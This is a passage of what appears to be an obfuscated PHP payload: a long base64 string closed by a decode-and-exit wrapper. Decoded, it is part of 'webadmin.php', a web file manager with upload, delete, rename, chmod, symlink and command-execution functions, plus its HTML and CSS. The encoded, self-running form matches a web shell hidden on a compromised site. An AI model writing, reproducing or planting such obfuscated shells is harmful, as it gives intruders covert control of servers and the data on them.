zdGluYXRpb24nLAonc3ltbGluaycgPT4gJ1N5bWxpbmsnLAonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywKCid1c2VyJyA9PiAnVXNlcicsCidwYXNzd29yZCcgPT4gJ1Bhc3N3b3JkJywKJ2FkZCcgPT4gJ2FkZCcsCidhZGRfYmFzaWNfYXV0aCcgPT4gJ2FkZCBiYXNpYy1hdXRoZW50aWZpY2F0aW9uJywKCid1cGxvYWRlZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiB1cGxvYWRlZC4nLAonbm90X3VwbG9hZGVkJyA9PiAnIlslMV0iIGNvdWxkIG5vdCBiZSB1cGxvYWRlZC4nLAonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgYWxyZWFkeSBleGlzdHMuJywKJ2NyZWF0ZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gY3JlYXRlZC4nLAonbm90X2NyZWF0ZWQnID0+ICciWyUxXSIgY291bGQgbm90IGJlIGNyZWF0ZWQuJywKJ3JlYWxseV9kZWxldGUnID0+ICdEZWxldGUgdGhlc2UgZmlsZXM/JywKJ2RlbGV0ZWQnID0+ICJUaGVzZSBmaWxlcyBoYXZlIGJlZW4gZGVsZXRlZDpcblslMV0iLAonbm90X2RlbGV0ZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgZGVsZXRlZDpcblslMV0iLAoncmVuYW1lX2ZpbGUnID0+ICdSZW5hbWUgZmlsZTonLAoncmVuYW1lZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiByZW5hbWVkIHRvICJbJTJdIi4nLAonbm90X3JlbmFtZWQnID0+ICciWyUxXSBjb3VsZCBub3QgYmUgcmVuYW1lZCB0byAiWyUyXSIuJywKJ21vdmVfZmlsZXMnID0+ICdNb3ZlIHRoZXNlIGZpbGVzOicsCidtb3ZlZCcgPT4gIlRoZXNlIGZpbGVzIGhhdmUgYmVlbiBtb3ZlZCB0byBcIlslMl1cIjpcblslMV0iLAonbm90X21vdmVkJyA9PiAiVGhlc2UgZmlsZXMgY291bGQgbm90IGJlIG1vdmVkIHRvIFwiWyUyXVwiOlxuWyUxXSIsCidjb3B5X2ZpbGVzJyA9PiAnQ29weSB0aGVzZSBmaWxlczonLAonY29waWVkJyA9PiAiVGhlc2UgZmlsZXMgaGF2ZSBiZWVuIGNvcGllZCB0byBcIlslMl1cIjpcblslMV0iLAonbm90X2NvcGllZCcgPT4gIlRoZXNlIGZpbGVzIGNvdWxkIG5vdCBiZSBjb3BpZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwKJ25vdF9lZGl0ZWQnID0+ICciWyUxXSIgY2FuIG5vdCBiZSBlZGl0ZWQuJywKJ2V4ZWN1dGVkJyA9PiAiXCJbJTFdXCIgaGFzIGJlZW4gZXhlY3V0ZWQgc3VjY2Vzc2Z1bGx5OlxueyUyfSIsCidub3RfZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBjb3VsZCBub3QgYmUgZXhlY3V0ZWQgc3VjY2Vzc2Z1bGx5OlxueyUyfSIsCidzYXZlZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiBzYXZlZC4nLAonbm90X3NhdmVkJyA9PiAnIlslMV0iIGNvdWxkIG5vdCBiZSBzYXZlZC4nLAonc3ltbGlua2VkJyA9PiAnU3ltbGluayBmcm9tICJbJTJdIiB0byAiWyUxXSIgaGFzIGJlZW4gY3JlYXRlZC4nLAonbm90X3N5bWxpbmtlZCcgPT4gJ1N5bWxpbmsgZnJvbSAiWyUyXSIgdG8gIlslMV0iIGNvdWxkIG5vdCBiZSBjcmVhdGVkLicsCidwZXJtaXNzaW9uX2ZvcicgPT4gJ1Blcm1pc3Npb24gb2YgIlslMV0iOicsCidwZXJtaXNzaW9uX3NldCcgPT4gJ1Blcm1pc3Npb24gb2YgIlslMV0iIHdhcyBzZXQgdG8gWyUyXS4nLAoncGVybWlzc2lvbl9ub3Rfc2V0JyA9PiAnUGVybWlzc2lvbiBvZiAiWyUxXSIgY291bGQgbm90IGJlIHNldCB0byBbJTJdLicsCidub3RfcmVhZGFibGUnID0+ICciWyUxXSIgY2FuIG5vdCBiZSByZWFkLicKCQkpOwoKCX0KCn0KCmZ1bmN0aW9uIGdldGltYWdlICgkaW1hZ2UpIHsKCXN3aXRjaCAoJGltYWdlKSB7CgljYXNlICdmaWxlJzoKCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUpFREFKbVptZi8vL3dBQUFQLy8veUg1QkFIb0F3TUFMQUFBQUFBUkFBMEFBQUl0bklHSnhnMEI0MnJzaVN2Q0EvUkVtWFFXaG1uaWgzTFVTR2FxZzM1dkZiU1h1Y2JTYWJ1bmpuTW9ocThDQURzQScpOwoJY2FzZSAnZm9sZGVyJzoKCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUpFREFKbVptZi8vLzh6TXpQLy8veUg1QkFIb0F3TUFMQUFBQUFBUkFBMEFBQUlxbkkrWndLd2JZZ1RQdEl1ZGxid0xPZ0NCUUpZbUNZcm4rbTNzbVk1dkdjKzBhN2Roamg3WmJ5Z0FBRHNBJyk7CgljYXNlICdoaWRkZW5fZmlsZSc6CgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBTXdBQVAvLy81bVptZi8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJdG5JR0p4ZzBCNDJyc2lTdkNBL1JFbVhRV2htbmloM0xVU0dhcWczNXZGYlNYdWNiU2FidW5qbk1vaHE4Q0FEc0EnKTsKCWNhc2UgJ2xpbmsnOgoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BS0lFQUptWm1mLy8vd0FBQU13QUFQLy8vd0FBQUFBQUFBQUFBQ0g1QkFIb0F3UUFMQUFBQUFBUkFBMEFBQU01U0FyY3JEQ0NRT3VMY0lvdHdnVFlVbGxOT0EwRHhYa21oWTRzaE01enNNVUtUWThnTmdVdlc2Y25BYVpneE15SU0yekJMQ2FIbEpnQUFEc0EnKTsKCWNhc2UgJ3NtaWxleSc6CgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRUNBQUFBQVAvL0FQLy8vd0FBQUNINUJBSG9Bd0lBTEFBQUFBQVJBQTBBQUFJc2xJK3BBdTJ3REFpejBqV0QzaHFtQnpaZjFWQ2xlSlFjaDBya2RucHBCM2RLWnVJeWdyTVJFL29KRHdVQU93QT0nKTsKCWNhc2UgJ2Fycm93JzoKCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUlBQkFBQUFBUC8vL3lINUJBRUtBQUVBTEFBQUFBQVJBQTBBQUFJZGpBOXd5NmdOUTRwd1VtYXYweXZuK2hoSmlJM21DSjZvdHJJa3h4UUFPdz09Jyk7Cgl9Cn0KCmZ1bmN0aW9uIGh0bWxfaGVhZGVyICgpIHsKCWdsb2JhbCAkc2l0ZV9jaGFyc2V0OwoKCWVjaG8gPDw8RU5ECjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiAgICAgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgoKPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9JHNpdGVfY2hhcnNldCIgLz4KCjx0aXRsZT53ZWJhZG1pbi5waHA8L3RpdGxlPgoKPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYm9keSB7IGZvbnQ6IHNtYWxsIHNhbnMtc2VyaWY7IHRleHQtYWxpZ246IGNlbnRlciB9CmltZyB7IHdpZHRoOiAxN3B4OyBoZWlnaHQ6IDEzcHggfQphLCBhOnZpc2l0ZWQgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiBuYXZ5IH0KaHIgeyBib3JkZXItc3R5bGU6IG5vbmU7IGhlaWdodDogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiBzaWx2ZXI7IGNvbG9yOiBzaWx2ZXIgfQojbWFpbiB7IG1hcmdpbi10b3A6IDZwdDsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0bzsgYm9yZGVyLXNwYWNpbmc6IDFweCB9CiNtYWluIHRoIHsgYmFja2dyb3VuZDogI2VlZTsgcGFkZGluZzogM3B0IDNwdCAwcHQgM3B0IH0KLmxpc3RpbmcgdGgsIC5saXN0aW5nIHRkIHsgcGFkZGluZzogMXB4IDNwdCAwIDNwdCB9Ci5saXN0aW5nIHRoIHsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0KLmxpc3RpbmcgdGQgeyBib3JkZXI6IDFweCBzb2xpZCAjZGRkOyBiYWNrZ3JvdW5kOiB3aGl0ZSB9Ci5saXN0aW5nIC5jaGVja2JveCB7IHRleHQtYWxpZ246IGNlbnRlciB9Ci5saXN0aW5nIC5maWxlbmFtZSB7IHRleHQtYWxpZ246IGxlZnQgfQoubGlzdGluZyAuc2l6ZSB7IHRleHQtYWxpZ246IHJpZ2h0IH0KLmxpc3RpbmcgdGgucGVybWlzc2lvbiB7IHRleHQtYWxpZ246IGxlZnQgfQoubGlzdGluZyB0ZC5wZXJtaXNzaW9uIHsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZSB9Ci5saXN0aW5nIC5vd25lciB7IHRleHQtYWxpZ246IGxlZnQgfQoubGlzdGluZyAuZ3JvdXAgeyB0ZXh0LWFsaWduOiBsZWZ0IH0KLmxpc3RpbmcgLmZ1bmN0aW9ucyB7IHRleHQtYWxpZ246IGxlZnQgfQoubGlzdGluZ19mb290ZXIgdGQgeyBiYWNrZ3JvdW5kOiAjZWVlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQojZGlyZWN0b3J5LCAjdXBsb2FkLCAjY3JlYXRlLCAubGlzdGluZ19mb290ZXIgdGQsICNlcnJvciB0ZCwgI25vdGljZSB0ZCB7IHRleHQtYWxpZ246IGxlZnQ7IHBhZGRpbmc6IDNwdCB9CiNkaXJlY3RvcnkgeyBiYWNrZ3JvdW5kOiAjZWVlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQojdXBsb2FkIHsgcGFkZGluZy10b3A6IDFlbSB9CiNjcmVhdGUgeyBwYWRkaW5nLWJvdHRvbTogMWVtIH0KLnNtYWxsLCAuc21hbGwgb3B0aW9uIHsgZm9udC1zaXplOiB4LXNtYWxsIH0KdGV4dGFyZWEgeyBib3JkZXI6IG5vbmU7IGJhY2tncm91bmQ6IHdoaXRlIH0KdGFibGUuZGlhbG9nIHsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0byB9CnRkLmRpYWxvZyB7IGJhY2tncm91bmQ6ICNlZWU7IHBhZGRpbmc6IDFleDsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyOyB0ZXh0LWFsaWduOiBjZW50ZXIgfQojcGVybWlzc2lvbiB7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG8gfQojcGVybWlzc2lvbiB0ZCB7IHBhZGRpbmctbGVmdDogM3B0OyBwYWRkaW5nLXJpZ2h0OiAzcHQ7IHRleHQtYWxpZ246IGNlbnRlciB9CnRkLnBlcm1pc3Npb25fYWN0aW9uIHsgdGV4dC1hbGlnbjogcmlnaHQgfQojc3ltbGluayB7IGJhY2tncm91bmQ6ICNlZWU7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9CiNzeW1saW5rIHRkIHsgdGV4dC1hbGlnbjogbGVmdDsgcGFkZGluZzogM3B0IH0KI3JlZF9idXR0b24geyB3aWR0aDogMTIwcHg7IGNvbG9yOiAjNDAwIH0KI2dyZWVuX2J1dHRvbiB7IHdpZHRoOiAxMjBweDsgY29sb3I6ICMwNDAgfQojZXJyb3IgdGQgeyBiYWNrZ3JvdW5kOiBtYXJvb247IGNvbG9yOiB3aGl0ZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0KI25vdGljZSB0ZCB7IGJhY2tncm91bmQ6IGdyZWVuOyBjb2xvcjogd2hpdGU7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9CiNub3RpY2UgcHJlLCAjZXJyb3IgcHJlIHsgYmFja2dyb3VuZDogc2lsdmVyOyBjb2xvcjogYmxhY2s7IHBhZGRpbmc6IDFleDsgbWFyZ2luLWxlZnQ6IDFleDsgbWFyZ2luLXJpZ2h0OiAxZXggfQpjb2RlIHsgZm9udC1zaXplOiAxMnB0IH0KdGQgeyB3aGl0ZS1zcGFjZTogbm93cmFwIH0KPC9zdHlsZT4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBhY3RpdmF0ZSAobmFtZSkgewoJaWYgKGRvY3VtZW50ICYmIGRvY3VtZW50LmZvcm1zWzBdICYmIGRvY3VtZW50LmZvcm1zWzBdLmVsZW1lbnRzWydmb2N1cyddKSB7CgkJZG9jdW1lbnQuZm9ybXNbMF0uZWxlbWVudHNbJ2ZvY3VzJ10udmFsdWUgPSBuYW1lOwoJfQp9Ci8vLS0+Cjwvc2NyaXB0PgoKPC9oZWFkPgo8Ym9keT4KCgpFTkQ7Cgp9CgpmdW5jdGlvbiBodG1sX2Zvb3RlciAoKSB7CgoJZWNobyA8PDxFTkQKPC9ib2R5Pgo8L2h0bWw+CkVORDsKCn0KCmZ1bmN0aW9uIG5vdGljZSAoJHBocmFzZSkgewoJZ2xvYmFsICRjb2xzOwoKCSRhcmdzID0gZnVuY19nZXRfYXJncygpOwoJYXJyYXlfc2hpZnQoJGFyZ3MpOwoKCXJldHVybiAnPHRyIGlkPSJub3RpY2UiPgoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciPicgLiBwaHJhc2UoJHBocmFzZSwgJGFyZ3MpIC4gJzwvdGQ+CjwvdHI+Cic7Cgp9CgpmdW5jdGlvbiBlcnJvciAoJHBocmFzZSkgewoJZ2xvYmFsICRjb2xzOwoKCSRhcmdzID0gZnVuY19nZXRfYXJncygpOwoJYXJyYXlfc2hpZnQoJGFyZ3MpOwoKCXJldHVybiAnPHRyIGlkPSJlcnJvciI+Cgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyI+JyAuIHBocmFzZSgkcGhyYXNlLCAkYXJncykgLiAnPC90ZD4KPC90cj4KJzsKCn0=')); exit; } ";}